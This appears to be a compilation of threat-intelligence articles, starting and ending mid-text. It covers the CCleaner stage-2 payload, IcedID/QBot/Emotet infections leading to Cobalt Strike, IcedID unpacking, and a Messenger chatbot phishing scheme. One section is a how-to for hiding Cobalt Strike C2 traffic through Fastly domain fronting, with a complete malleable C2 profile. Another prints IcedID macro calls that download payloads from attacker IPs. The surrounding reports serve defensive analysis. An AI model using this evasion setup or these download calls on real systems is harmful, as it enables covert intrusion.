compromised machines would share a listing of installed programs. A process list was also captured. When combined, this information would be everything an attacker would need to launch a later stage payload that the attacker could verify to be undetectable and stable on a given system. A second database table, separate from the 'Server' database table, contained an additional information set that was associated with systems that had actually been delivered the Stage 2 payload. This table contained similar survey information to the 'Server' database table. In analyzing this second database table 'OK', we can confirm that after deduplicating entries, 20 systems were successfully delivered the Stage 2 payload. Talos reached out to the companies confirmed affected by this Stage 2 payload to alert them of a possible compromise. Based on analysis of the 'Server' database table, it is obvious this infrastructure provides attackers access to a variety of different targets. Given the filtering in place on the C2 server, the attackers could add or remove domains at any given time, based upon the environments or organizations they choose to target. ## Stage 2 Payloads The stage 2 installer is GeeSetup_x86.dll. This installer checks the OS version and then drops either a 32-bit or 64-bit version of a trojanized tool. The x86 version is using a trojanized TSMSISrv.dll, which drops VirtCDRDrv (which matches the filename of a legitimate executable that is part of Corel) using a similar method to the backdoored CCleaner tool. The x64 version drops a trojanized EFACli64.dll file named SymEFA which is the filename taken from a legitimate executable that is part of "Symantec Endpoint". None of the files that are dropped are signed or legitimate. Effectively, they patch a legitimate binary to package their malware. Additionally, the setup put an encoded PE in the registry: ``` HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003 HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004 ``` The purpose of the trojanized binary is to decode and execute this PE in the registry. This PE performs queries to additional C2 servers and executes in-memory PE files. This may complicate detection on some systems since the executable files are never stored directly on the file system. Within the registry is a lightweight backdoor module which is run by the trojanized files. This backdoor retrieves an IP from data stegged into a github.com or wordpress.com search, from which an additional PE module is downloaded and run. The stage 3 payload also reaches out to "get.adoble.net". ## Code Reuse Talos has reviewed claims from Kaspersky researchers that there is code overlap with malware samples known to be used by Group 72. While this is by no means proof in terms of attribution, we can confirm the overlap and we agree that this is important information to be considered. On the left: `2bc2dee73f9f854fe1e0e409e1257369d9c0a1081cf5fb503264aa1bfe8aa06f` (CCBkdr.dll) On the right: `0375b4216334c85a4b29441a3d37e61d7797c2e1cb94b14cf6292449fb25c7b2` (Missl backdoor - APT17/Group 72) ## Conclusion Supply chain attacks seem to be increasing in velocity and complexity. It's imperative that as security companies we take these attacks seriously. Unfortunately, security events that are not completely understood are often downplayed in severity. This can work counter to a victim's best interests. Security companies need to be conservative with their advice before all of the details of the attack have been determined to help users ensure that they remain protected. This is especially true in situations where entire stages of an attack go undetected for a long period of time. When advanced adversaries are in play, this is especially true. They have been known to craft attacks that avoid detection by specific companies through successful reconnaissance techniques. In this particular example, a fairly sophisticated attacker designed a system which appears to specifically target technology companies by using a supply chain attack to compromise a vast number of victims, persistently, in hopes to land some payloads on computers at very specific target networks. ## Indicators of Compromise (IOCs) Below are indicators of compromise associated with this attack. - Installer on the CC: `dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83` (GeeSetup_x86.dll) - 64-bit trojanized binary: `128aca58be325174f0220bd7ca6030e4e206b4378796e82da460055733bb6f4f` (EFACli64.dll) - 32-bit trojanized binary: `07fb252d2e853a9b1b32f30ede411f2efbb9f01e4a7782db5eacf3f55cf34902` (TSMSISrv.dll) - DLL in registry: `f0d1f88c59a005312faad902528d60acbf9cd5a7b36093db8ca811f763e1292a` - Registry Keys: - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\001` - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\002` - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\003` - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\004` - `HKLM\Software\Microsoft\Windows NT\CurrentVersion\WbemPerf\HBP` - Stage 2 Payload (SHA256): `dc9b5e8aa6ec86db8af0a7aa897ca61db3e5f3d2e0942e319074db1aaccfdc83`
# Threat Spotlight - Domain Fronting Domain fronting is a common technique that is sometimes used by threat actors to disguise their traffic as the real deal. Essentially, it involves communicating with legitimate-looking domains while, in reality, the traffic is being pointed to the threat actor’s C2 stations. A common example would be using legitimate or reputable domains with a custom Host header to redirect the traffic to the threat actor’s stations. There are many examples that abuse services like Cloudflare, CloudFront, and such. In today’s example, we’ll be using Fastly. Fastly provides a service intended to act as a CDN, where you can create a service and tie it to your backend. As you can imagine, a company as large as Fastly, which was able to bring half the Internet down when it went down, has thousands of people using their services. You can do a quick search using services like RiskIQ to look through all of the subdomains associated with `*.fastly.net`. While it appears we’re not the first to discover this, there aren’t many resources discussing the abuse of Fastly as a service. The Python Software Foundation just so happens to use it too! What actually happens is when you contact `python.org`, it gets interpreted as `python.org.prod.global.fastly.net` internally based on the Host header. This was brought to our attention when colleagues discovered CobaltStrike beacons in the wild that appeared to connect to Python-related domains at execution. Upon further investigation, we realized they were abusing the nature of Fastly services to disguise their traffic. So, I decided to do a little experiment this weekend to see if I could recreate that myself. To get started, I created a new service on Fastly called `dl-python.org`, a service name (and domain name) that appears to be similar enough to the real deal but doesn’t actually exist (and it doesn’t need to be!). Create a new service that appears to be genuine enough to the target domain name, in this case, `dl-python.org`. Note that while `dl-python.org` appears to be owned by someone else, I don't actually have access to it, nor will it actually make contact with the domain. You can name it whatever you want. Next, in the Host settings section, enter your actual C2’s domain name, something you have control over. In this case, `my-c2domain.com`. I have the port set to `55137`, but it should ideally be `443` for HTTPS beacons. My `80/443` port was occupied by something else when I was experimenting. Next, we’re going to craft a new CobaltStrike Stager. Create a new Listener on your team server with the vulnerable domain name as the C2, and enter your service name in the Host field. To make the traffic look a little more genuine, you can also craft your own malleable C2 profile that has contents of Python docs inside. ```plaintext set sleeptime "5000"; set jitter "0"; set maxdns "255"; set useragent "Mozilla/5.0 (Windows NT 6.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0"; # set host_stage "false"; post-ex { set spawnto_x86 "%ProgramFiles(x86)%\\Everything\\Everything.exe"; set spawnto_x64 "%ProgramFiles%\\Mozilla Firefox\\firefox.exe"; set obfuscate "true"; set smartinject "true"; set amsi_disable "true"; } http-config { set headers "Date, Server, Content-Length, Keep-Alive, Connection, Content-Type"; set trust_x_forwarded_for "false"; header "Server" "nginx"; header "Keep-Alive" "timeout=5, max=100"; header "Connection" "Keep-Alive"; } http-get { set uri "/3/library/stdtypes.html"; client { header "Accept" "*/*"; header "Host" "dl-python.org"; metadata { base64; prepend "session="; header "Cookie"; } } server { header "Server" "nginx"; header "Cache-Control" "max-age=0, no-cache"; header "Pragma" "no-cache"; header "Connection" "keep-alive"; header "Content-Type" "application/javascript; charset=utf-8"; output { base64url; append "...html_head..."; prepend "...html_body..."; print; } } } http-post { set uri "/3/library/struct.html"; client { header "Accept" "*/*"; header "Host" "cobaltstrike.stillu.cc"; id { mask; base64url; parameter "x-timer"; } output { mask; base64url; parameter "etag"; } } server { header "Server" "nginx"; header "Cache-Control" "max-age=0, no-cache"; header "Pragma" "no-cache"; header "Connection" "keep-alive"; header "Content-Type" "application/javascript; charset=utf-8"; output { base64url; append "...html_head..."; prepend "...html_body..."; print; } } } ``` And that’s it! Let’s try to run the stager on our victim machine. As you can see, it worked! It looks like it’s contacting `docs.python.org` (and it is), yet the server returned beacon information for the stager. Just not in plaintext because I had the mask option enabled; otherwise, the content should look almost like standard HTML content with random bits of information thrown in there because of the malleable C2 config above - and this is with unencrypted traffic. This trick is perfect for threat actors that want to evade IT admins’ attention as it appears to contact a real domain with a benign URL. It can be made to communicate in HTTPS, so the Host header wouldn’t even show up. If the IT admin does manage to figure out it goes to `dl-python.org.prod.global.fastly.net`, it doesn’t reveal the actual C2 address, as the resolved IP would just be Fastly’s own CDN IP. This entire thing was really fun to recreate and helped me understand CobaltStrike a little bit more from the attacker’s perspective, as I’ve always tackled CobaltStrike payloads from a Blue Team’s perspective as a threat intel researcher. If you are in the same position as me, I encourage you to give CobaltStrike a try and attack your own machines to see what tricks you can pull off (if your organization has access to such tools).
# Threat Analysis Report: All Paths Lead to Cobalt Strike - IcedID, Emotet, and QBot **Written By** Cybereason Global SOC Team February 10, 2022 The Cybereason Global Security Operations Center Team (GSOC) issues Cybereason Threat Analysis reports to inform on impacting threats. The Threat Analysis reports investigate these threats and provide practical recommendations for protecting against them. In this Threat Analysis report, the GSOC provides details about three recent attack scenarios where fast-moving malicious actors used the malware loaders IcedID, QBot, and Emotet to deploy the Cobalt Strike framework on the compromised systems. The deployment of Cobalt Strike as part of an attack significantly increases the severity of the attack due to the framework’s high damage potential. One of the attack scenarios that we discuss in this article involves affiliates of the Conti ransomware group. ## Key Points - **Fast-moving adversaries**: The threat actors conducted malicious activities in the compromised systems approximately 8 minutes after infecting the systems with the malware loader IcedID, QBot, or Emotet. The malicious actors deployed Cobalt Strike up to approximately 2 hours after accessing the compromised systems. - **Targeted phishing emails**: Malicious actors, attributed as affiliates of the Conti ransomware group, specifically targeted a user by sending an email with an attachment (an Excel document) that was almost identical to a legitimate email and attachment already distributed to other users within the organization. The attached Excel document contained a malicious macro that distributed IcedID. - **Detected and prevented**: The Cybereason XDR Platform effectively detects and prevents the IcedID, QBot, and Emotet malware. - **Cybereason Managed Detection and Response (MDR)**: The Cybereason GSOC has zero tolerance towards attacks involving malware loaders, categorizing such attacks as critical, high-severity incidents. The GSOC MDR Team issues a comprehensive report to customers when such an incident occurs, providing an in-depth overview of the incident, helping scope the extent of compromise and the impact on the customer’s environment, along with attribution information and recommendations for mitigating and isolating the threat. ## Introduction Cobalt Strike is an adversary simulation framework primarily used for assisting red team operations. However, it is also actively used by malicious actors for conducting post-intrusion malicious activities. Cobalt Strike is a modular framework with an extensive set of features useful to malicious actors, such as command execution, process injection, and credential theft. The deployment of Cobalt Strike as part of an attack significantly increases the severity of the attack. Once Cobalt Strike runs on a compromised system, the operators can broker the system as an initial access point to other threat actors, including ransomware group affiliates. Between October 2021 and the time of writing this article, the Cybereason GSOC observed multiple attack scenarios where malicious actors used malware capable of deploying additional malware on compromised systems (i.e., malware loaders) to deploy Cobalt Strike. In this article, we present the activities of the malware loaders and the malicious actors that operated the loaders in three selected attack scenarios. Each scenario involves one of the malware loaders IcedID, QBot, and Emotet, resulting in the deployment of Cobalt Strike. ## From IcedID to Cobalt Strike: Conti Ransomware Affiliates The figure below depicts an infection using the IcedID malware that results in the deployment of Cobalt Strike. In this scenario, the malicious actors, attributed as affiliates of the Conti ransomware group, specifically targeted a user by sending an email with an attachment (an Excel document) that is almost identical to a legitimate email and attachment already distributed to other users within the organization. The attached Excel document contained a malicious macro. When the targeted user executed the macro, it downloaded the executable file of the IcedID malware from an attacker-controlled endpoint and then executed the file. Approximately 8 minutes after the malicious Office macro executed IcedID, the malicious actors executed the SysInfo IcedID command to enumerate relevant system information and conduct reconnaissance activities. IcedID executed the following command to retrieve a list of the security solutions installed on the compromised system: ``` wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List ``` IcedID executed the command `ipconfig /all` to retrieve the networking configuration of the compromised system and `systeminfo.exe` to retrieve detailed information about the compromised system. Approximately 20 minutes after conducting reconnaissance activities, the malicious actors executed the ExecAdmin IcedID command to elevate user privileges using a known Windows User Account Control (UAC) bypass that leverages the fodhelper Windows utility. After approximately 5 minutes, they executed the Exec IcedID command to execute code by injecting it into a cmd.exe instance. Approximately 21 minutes later, they executed a Cobalt Strike loader using the command `rundll32 adobe.dll,kasim`. A few minutes after executing the Cobalt Strike loader, the actors downloaded and executed PowerShell code from an attacker-controlled endpoint. This attributes the actors as Conti affiliates, as the Conti group operated the endpoint during the attack. To deploy the IcedID malware, the Conti affiliates targeted a particular user. At a larger scale, in the middle of 2021, we observed malicious actors deploying the IcedID malware on systems as part of the “stolen images evidence” campaign. ## Stolen Images Evidence Campaign This campaign involved phishing emails generated by legitimate organization contact forms sent to targeted users. The emails contained legal threats related to copyright infringement due to the use of copyright-protected images that the targeted user had apparently stolen. The emails urged the recipient to sign into a Google page that supposedly lists the images. After signing in, the page downloaded and executed a malicious JavaScript (.js) script using the Windows wscript utility. The script executed a Base64-encoded PowerShell command to download and execute the IcedID malware. The execution of this PowerShell command led to downloading and executing a DLL through the DllRegisterServer entry point. The first-stage IcedID DLL gathered information about the compromised machine and downloaded data from an attacker-controlled endpoint. The first-stage IcedID DLL decrypted the data, which contained a DLL file and a data file typically named `license.dat`. The first-stage IcedID DLL executed the DLL file, which we refer to as the second-stage IcedID DLL. The main functionality of the second-stage IcedID DLL was to locate and process the `license.dat` file, which contained encrypted content that implemented the IcedID malware. The second-stage IcedID DLL decrypted the content of `license.dat` and executed the IcedID malware by injecting it into a legitimate Windows process. ## From QBot to Cobalt Strike The figure below depicts an infection using the QBot malware that results in the deployment of Cobalt Strike. Malicious actors distribute QBot as attachments, typically Microsoft Office Excel documents, to phishing emails. The Office Excel application prompts the user to enable Office macro execution. When the Office macro executes, it first downloads the QBot malware from an attacker-controlled endpoint and then executes the malware. In the analyzed attack scenario, the macro stored the QBot malware in the `%ProgramData%` directory with the filename extension `.ocx`. The `.ocx` file was a Windows DLL that the macro executed using the regsvr32 Windows utility. The DLL unpacked and loaded a Windows DLL named `stager_1.dll` that implements the main QBot functionalities. Approximately 6 minutes after injecting `stager_1.dll` into `msra.exe`, QBot conducted reconnaissance activities by executing various commands. Approximately 1 minute after conducting reconnaissance activities, QBot established persistence on the compromised system by creating a scheduled task. Approximately 48 minutes after creating a scheduled task, QBot injected Rubeus, a tool for attacking Kerberos deployments, into the legitimate Windows Update process. After approximately 18 minutes, QBot stole web browser data using the recovery functionality of the esentutl Windows utility. After approximately 2 minutes, QBot attempted to exploit the PrintNightmare vulnerability by executing the Invoke-Nightmare PowerShell command to create an administrative user. After approximately 48 minutes, QBot injected a Cobalt Strike module into `msra.exe` that contacted attacker-controlled endpoints associated with Cobalt Strike. ## From Emotet to Cobalt Strike The figure below depicts an infection using the Emotet malware that results in the deployment of Cobalt Strike. Malicious actors distribute Emotet as attachments, typically Microsoft Office Word or Excel documents, to phishing emails. In addition to Office documents, Emotet is distributed through links leading to Office documents and other file types. If an Office Word document distributes Emotet, the Office Word application prompts the user to enable Office macro execution. When the user enables macro execution, a malicious Office macro executes, establishing a connection to an attacker-controlled endpoint and downloading Emotet to the `%ProgramData%` directory. Emotet typically arrives from the attacker-controlled endpoint in the form of a DLL file. The PowerShell code then uses the rundll32 Windows utility to execute Emotet. Alternatively, the de-obfuscated macro code may create a Windows Batch (.bat) file in the `%ProgramData%` directory and execute it. When Emotet executes on a compromised system, it first establishes persistence by creating system services or registry values. Emotet then executes processes that conduct malicious activities, such as stealing cookies or web and email credentials from client credential databases. After exfiltrating data, the Emotet operators deployed the Cobalt Strike framework on the compromised system. ## Detection and Prevention ### Cybereason XDR Platform The Cybereason XDR Platform can detect and prevent IcedID, QBot, and Emotet using multi-layer protection that detects and blocks malware with threat intelligence, machine learning, and Next-gen Antivirus (NGAV) capabilities. ### Cybereason GSOC MDR The Cybereason GSOC recommends the following: - Enable the Anti-Malware feature in the Cybereason NGAV module and enable the Detect and Prevent modes. - Securely handle email messages from external sources, including disabling hyperlinks and investigating the content of email messages to identify phishing attempts. - Threat Hunting with Cybereason: The Cybereason MDR team provides custom hunting queries for detecting specific threats. Cybereason is dedicated to teaming up with defenders to end cyber attacks from endpoints to the enterprise. ## Indicators of Compromise **Executables** SHA-1 hash: a4d415c07b4ff77c6bd792c32fc46bfc6a1b0354 SHA-1 hash: e8992a283f9f37dec617b305db2790d9112d3a20 **Domains** zasewalli[.]fun endofyour[.]ink pedrosimanez[.]fun kingflipp[.]online beliale232634[.]at belialw869367[.]at belialq449663[.]at **IP Addresses** 23.111.114[.]52 104.168.44[.]130 185.70.184[.]8 ## MITRE ATT&CK Techniques - **Initial Access**: Phishing: Spearphishing Attachment - **Execution**: User Execution: Malicious File - **Persistence**: Scheduled Task/Job: Scheduled Task - **Defense Evasion**: Abuse Elevation Control Mechanism: Bypass User Account Control - **Credential Access**: Credentials from Web Browsers - **Discovery**: Network Scanning - **Lateral Movement**: Remote Services: Remote Desktop Protocol - **Exfiltration**: Exfiltration Over Alternative Protocol ## About the Researchers **Eli Salem**, Senior Security Analyst, Cybereason Global SOC Eli is a lead threat hunter and malware reverse engineer at Cybereason. He has worked in the private sector of the cybersecurity industry since 2017. **Aleksandar Milenkoski**, Senior Malware and Threat Analyst, Cybereason Global SOC Aleksandar is involved primarily in reverse engineering and threat research activities. He has a PhD in system security. **Brian Janower**, Security Analyst, Cybereason Global SOC Brian is involved in malware analysis and triages security incidents effectively and precisely. **Yonatan Gidnian**, Senior Security Analyst and Threat Hunter, Cybereason Global SOC Yonatan analyzes critical incidents and hunts for novel threats to build new detections. **Rotem Rostami**, Security Analyst, Cybereason Global SOC Rotem is involved in malware analysis activities and triages security incidents effectively and precisely. ## About the Author **Cybereason Global SOC Team** The Cybereason Global SOC Team delivers 24/7 Managed Detection and Response services to customers on every continent. Led by cybersecurity experts, the team continuously hunts for the most sophisticated and pervasive threats to support the mission to end cyberattacks on the endpoint and across the enterprise.
# IcedID Analysis **Ali Aqeel** **April 9, 2021** IcedID, also known as BokBot, is banking malware designed to steal financial information. Lunar Spider is the threat actor behind IcedID, which they’ve been running campaigns since at least 2017. Besides stealing banking information, some incidents show that IcedID is an entry stage to ransomware or RAT attacks. It’s been observed lately that the threat actor has been using new techniques to evade detection by endpoint security, sandbox, and anti-reversing. This makes it interesting to dissect samples to find indicators and other artifacts that could be missed by security tools. In this post, we will take a look at an IcedID sample that’s been posted on Malware-traffic-analysis.net. We will walk through each artifact to learn how to unpack the hidden malicious binaries. These techniques would also work on other IcedID samples that have been found lately. ## Behaviour Overview The threat actor sends an email with an attached ZIP archive containing a maldoc, either an MS Word or Excel spreadsheet. When opening the maldoc, it asks to enable macros. Once enabled, two functions happen: first, it downloads a DLL file and runs it in a process using `rundll32.exe`. The downloaded DLL has an unknown extension. After running in the process, the DLL file ‘Installer’ does mainly two things: download a GZIP compressed binary and install it. The GZIP might have a zip extension, but it can’t be opened or extracted with any archived tool. The GZIP is mainly a dropper, packed with two binaries. Without further ado, let’s get started with the below artifacts. | File Name | Description | File Type | SHA256 | |----------------------------------------|------------------|------------------|-------------------------------------------------------------------------------------------| | 82025721897_03192021.xlsm | Maldoc | Excel spreadsheet | dcc45c82a484a420888aabe66588cbb1658cb2a7a5cc833b0438fa06ca84a991 | | Kiod.hod | Installer | DLL | d1634c8dd16b4b1480065039fac62d6c1900692f0ccc9bf52c8ddc65599fbf3d | | suit_32.tmp | Temporary | DLL | b8502cc6fd41a558012e7ccd0a7f4e0ed5746bf106b8bf5b6a27ef9cba18a9e3 | | Oxiwko.dll | Persistent | DLL | 48b72914126b6b4a3e5aefa9bc8d5eac1187543eb0fa42c98a70a2f2ad07a60a | | license.dat | IcedID (encrypted)| DLL! | 45b6349ee9d53278f350b59d4a2a28890bbe9f9de6565453db4c085bb5875865 | ### Host-based and Network-based IOCs **Shell Command:** ``` Rundll32 ..\Kiod.hod2,DllRegisterServer ``` **Contacted IP Addresses:** - 188.127.237.152 - 45.150.67.13 - 185.82.219.225 **Calls:** ``` =CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "http://188.127.237.152/44295.4021160879.dat", "..\Kiod.hod") =CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "http://45.150.67.13/44295.4021160879.dat", "..\Kiod.hod1") =CALL("URLMon", "URLDownloadToFileA", "JCCB", 0, "http://185.82.219.225/44295.4021160879.dat", "..\Kiod.hod2") ``` ### Installer DLL ‘Kiod.hod’ is the name of the first stage IcedID execution in this sample. It’s a 64-bit DLL with an MZ header running in a ‘rundll32’ create process from the maldoc. When checking the sample on Hatching Triage sandbox, the network shows requests to ‘aws.amazon.com’ and ‘calldivorce.fun’. The installer downloads a GZIP file and installs it. It’s not possible to view the network indicators when statically analyzing this sample, nor when debugging it, which is mostly a sign of a packed executable. There’s one library ‘kernel32.dll’ and no sign of imported APIs to help guide either statically or in the debugger in order to unleash any indicators. Simply loading the sample on x64dbg doesn’t work! There are multiple ways to unpack the installer DLL; however, the quick and possible way to unpack the binary is by attaching the installer DLL to `C:\Windows\System32\rundll32` in x64dbg. 1. x64dbg -> File -> Open -> C:\Windows\System32\rundll32.exe 2. x64dbg -> File -> Change Command Line -> "C:\Windows\System32\rundll32.exe" "C:\Users\~\lab\Kiod.dll",DllRegisterServer - No spaces except the single space between " " and copy the full DLL directory - DllRegisterServer is the export function 3. After hitting ok, go to Options -> Preferences -> Events tab -> check ✔ DLL Entry 4. Hit F9 (few seconds and pause) Directly after pausing, you can notice the register ‘R14’ got PE sign and is ready to save the memory region by dumping it from Memory Map. The unpacked executable seems to be unmapped to memory and no changes are required to addresses on the sections headers. **Unpacked Installer - unpacked file** - SHA256: 7459E88626A90B52C3392A14734D00A5238EDBF13C61907F39326DF2D4C3F922 - HOST IOC: C:\ProgramData\ - Network IOC: aws.amazon.com, calldivorce.fun/~[GZIP file] ### Other Highlighted IOCs **Libraries:** - winhttp.dll **Imports (APIs):** - LookupAccountNameW, advapi32.dll - WinHttpQueryDataAvailable, winhttp.dll - WinHttpConnect, winhttp.dll - WinHttpSetStatusCallback, winhttp.dll - WinHttpSendRequest, winhttp.dll - WinHttpCloseHandle, winhttp.dll - WinHttpSetOption, winhttp.dll - WinHttpOpenRequest, winhttp.dll - WinHttpReadData, winhttp.dll - WinHttpQueryHeaders, winhttp.dll - WinHttpOpen, network, winhttp.dll - WinHttpReceiveResponse, winhttp.dll - WinHttpQueryOption, winhttp.dll - CreateProcessA, kernel32.dll - SwitchToThread, kernel32.dll It’s clear what APIs and libraries the original packed installer is hiding, which is detectable by any endpoint security as can be seen in Pestudio. Further disassembling with Cutter 2.0.0 the unpacked DLL to get indicators. ### Temporary DLL `suit_32.tmp` is another 64-bit DLL. It dropped from GZIP with the ‘license.dat’ binary. Located in `%temp%` directory `C:\Users[username]\AppData\Local\Temp\suit_32.tmp`. The main purpose of this temporary DLL is to initiate persistence with ‘license.dat’ and later copy itself to another directory for persistence. **Run method:** `rundll32.exe [filename],update /i:"LuxuryQuarter\license.dat"` This artifact is also well packed for evasion and anti-analysis purposes. Like the ‘installer’, there are no libraries or APIs to get hints where to breakpoint. **To unpack:** 1. Load 'suit_32.tmp' in x64dbg 2. Either single or overstepping till reaching [RtlExitUserProcess] API function 3. Check the stack or RDI register for MZ header. 4. Dump from Memory Map The unpacked requires addresses matching because it was mapped to memory. **Temporary DLL - unpacked file** - SHA256: AD435DB375665D157AED16BA8B51735B65AC6AEE86864DA78408B44C9D85093B - HOST IOC: C:\ProgramData\ - Network IOC: N/A ### Persistent DLL ‘Oxiwko.dll’ is supposed to be a copy from the previous temporary DLL. The big picture from the entropy view and Pestudio shows the resemblance. This makes it easy to unpack this sample using the same method above with the temporary DLL. **Persistent DLL - unpacked file** - SHA256: c04101f36a7d1498379ff6abb2218a2730ad896908e525cd3664ea5cc4a56a18 - HOST IOC: C:\ProgramData\ - Network IOC: N/A There’s not any network indicator in either packed or unpacked, which makes sense because the very purpose of this file is persistence in Task Scheduler to load ‘license.dat’. ### IcedID (license.dat) Leaving the beast for last! Even though it’s been submitted to VT by early March 1st, 2021, it’s still unrecognized by many vendors that ‘license.dat’ is the IcedID. Huge credit to BinaryDefense team for their efforts building the decryption tool for this part of IcedID and giving it a way on GitHub. The unknown ‘license.dat’ encrypted binary is running on Task Scheduler with the persistent DLL. As it turns out, the unknown binary is also a 64-bit DLL. Unlike the previous DLLs, this is a different kind of beast and this is what IcedID (BokBot) is all about. The decryption does a good job dissecting readable DLL from the encrypted binary. However, due to the complexity of this part, it is only possible to disassemble it in IDA, Cutter, and other disassembly tools. It’s not possible to debug it. Nevertheless, it’s possible to reverse engineer the function with a proper disassembler to unleash the behavior, which by looking at its API list seems to be detectable by endpoints. The main functions of ‘license.dat’ are collecting host and user information and connecting to C2. **Decrypted license.dat file** - SHA256: 66b6a55b67c0201a02dbdc4a2ef3c3f2d57aaadbbefa61c1bcdb59b96fb86743 Further analysis will be taken to further analyze IcedID campaigns in general and ‘license.dat’ in particular to further understand its behavior. **TO BE CONTINUED…** ### Credit To BinaryDefense for providing the decryption tool. To Malware Traffic Analysis for the artifacts and WireShark packets.
# Interactive Phishing Mark II: Messenger Chatbot Leveraged in a New Facebook-Themed Spam Facebook Messenger is one of the most popular messaging platforms in the world, amassing 988 million monthly active users as of January 2022, according to Statista. One important feature of this platform is Messenger’s bot. Within the current digital landscape, chatbots are widely used by companies and individuals to connect with their customers online, and almost immediately pop up when chatting with brands or businesses. This was shown in an earlier Trustwave SpiderLabs blog that detailed how chatbots are used in email phishing attacks. The application’s popularity makes it an attractive target for cybercriminals. With millions of active users, scammers and threat actors have easy access to numerous potential victims. In this case, the threat actors are attempting to steal Facebook login credentials. From phishing and scam attempts to bogus job offers, fraudsters are always coming up with new techniques to steal credentials or money. This time, our team came across a phishing email that makes use of Meta’s Messenger chatbot feature. This malicious email claims that the user’s page is about to be terminated due to a violation of Facebook’s community standards. This claim can resonate with Facebook users as most people have heard that the social media site is clamping down on users who violate the rules. The sender, who appears to be from Facebook’s support team, is giving the user a chance to appeal this termination. A 48-hour ultimatum was given, invoking a sense of urgency to the recipient. Some errors are present in the message such as the improper capitalization of the word “Page” and the missing dot at the end of the third sentence. Such mistakes are almost always indicators that a message may not be legitimate. On closer inspection, several additional red flags are seen in the email header. The sender is named as “Policy Issues,” a tricky way to lure and cause panic to the recipient. The sender domain does not belong to Facebook. It is also evident in the email’s headers and sender IP address that it was not sent by the social media platform but a tool designed for marketing and Customer Relation Management. There is a shortened URL embedded in the “Appeal Now” button which contains a supposed case number in its path. Meta, formerly known as Facebook, Inc., has its own URL shortener which uses m.me domain that redirects the user to a personal account page or conversation in Messenger. In our email sample, the embedded link redirects to a Messenger conversation with a chatbot. The user must be logged into the platform to engage with the chatbot. If not, it prompts the user to log in to Facebook. Once that is done, the user can view the conversation window and press the default “Get Started” button. The chatbot will then respond with a message similar to that contained in the email shown earlier. The persona that the user is chatting with is supposedly someone from the Facebook support team. However, closer inspection of the profile owning the page will reveal that this is not an actual support page. The profile used is just a normal business/fan page with zero followers and no posts. Even though this page may seem unused, it had a “Very Responsive” badge which Facebook defines as having a response rate of 90% and responds within 15 minutes. It even sported a Messenger logo as its profile picture to appear legitimate. The account handle “case932571902” also does not pertain to the official Facebook support channel. The handle was designed to make the shortened URL appear as if it was an actual link to a violation case. Clicking the “Appeal Now” button in the chat opens a new tab to a website hosted in Google Firebase. Firebase is an application development software that provides developers with a variety of tools to help build, improve, and grow the app. With the rise of app and web building tools, it is easy for anyone to create and publish webpages. Spammers take advantage of this availability and in this case, they built a website disguised as a Facebook “Support Inbox” where the user can purportedly appeal the supposed deletion of their page. Here, another piece of evidence points to how this interaction is fake. Notice how the case number in this website is inconsistent with the first URL. Several elements of the website such as “OPEN” and “Appeal” look like buttons, but in fact are not clickable. The fields for detail collection are located towards the bottom part of the website. The user is then required to enter their credentials such as an email address or mobile number, first and last name, and page name. An additional text box for a phone number is displayed even though a mobile number is already being asked in the first text box. This detail will serve a function later in the phishing chain. After pressing the Submit button, a pop-up window will appear asking for the user’s password. This is a clever trick to remain inconspicuous and not immediately raise alarms to the user. The collected information is posted to the spammers’ database after pressing the Submit button. However, the attack does not end there. Using the location.href property, the user is redirected to a supposed two-factor authentication page with a countdown timer. It is asking for a 6-digit One-Time Password (OTP) to be sent to the user. One-Time Passwords can be sent to a user through different channels, including a Short Message Service (SMS) text, an email, or a dedicated application. Since the email address, password, and mobile number were collected from the user before, a subsequent 2-FA page is shown to continue this deception. This may make sense to the victim as it is now common practice to have another layer of authentication after providing such credentials. The form will accept multi-digit input but has no length-checking. Upon checking the website’s entire source code, no mechanism for OTP generation, such as an API, is seen. Users can input any numerical code and it will be posted to the same database, and the page will then be redirected to the actual Facebook Help Centre. The final landing page is an article on intellectual property and copyright guidelines of Facebook. ## Phishing Link Chain: - Messenger Chatbot: hxxps://m[.]me/case932571902 - Email address, name, mobile number collection: hxxps://appeal-59321958[.]web[.]app/appeal[.]html - Password collection: hxxps://appeal-59321958[.]web[.]app/pointp[.]html - OTP Page: hxxps://appeal-59321958[.]web[.]app/twofac.html The spammers used the words “case” and “appeal” in the URL path to tie these websites into the lure of the phishing email and make them appear legitimate. At the time of writing, the fake Facebook Support page and the phishing website have been taken down, but there is no reason to believe another threat actor might not use the same tactic in the future. ## Conclusion This spam is reminiscent of a faux chatbot phishing website that we reported before. Chatbots serve a huge purpose in digital marketing and live support, so it is no wonder that cyber attackers are now abusing this feature. People are not inclined to be suspicious of its contents, especially if it comes from a seemingly genuine source. The fact that the spammers are leveraging the platform that they are mimicking makes this campaign a perfect social engineering technique. As always, we advise everyone to remain vigilant when surfing the web and to not interact with unsolicited emails. MailMarshal provides protection against this phishing email.
# A new APT uses DLL side-loads to “KilllSomeOne” **Gabor Szappanos** **November 4, 2020** Recently, we’ve observed several cases where DLL side-loading was used to execute malicious code. Side-loading is the use of a malicious DLL spoofing a legitimate one, relying on legitimate Windows executables to load and execute the malicious code. While the technique is far from new—we first saw it used by (mostly Chinese) APT groups as early as 2013, before cybercrime groups started to add it to their arsenal—this particular payload was not one we’ve seen before. It stands out because the threat actors used several plaintext strings written in poor English with politically inspired messages in their samples. The cases are connected by a common artifact: the program database (PDB) path. All samples share a similar PDB path, with several of them containing the folder name “KilllSomeOne.” Based on the targeting of the attacks—against non-governmental organizations and other organizations in Myanmar—and other characteristics of the malware involved, we have reason to believe that the actors involved are a Chinese APT group. ## Shell game We have identified four different side-loading scenarios that were used by the same threat actor. Two of these delivered a payload carrying a simple shell, while the other two carried a more complex set of malware. Combinations from both of these sets were used in the same attacks. ### Scenario 1 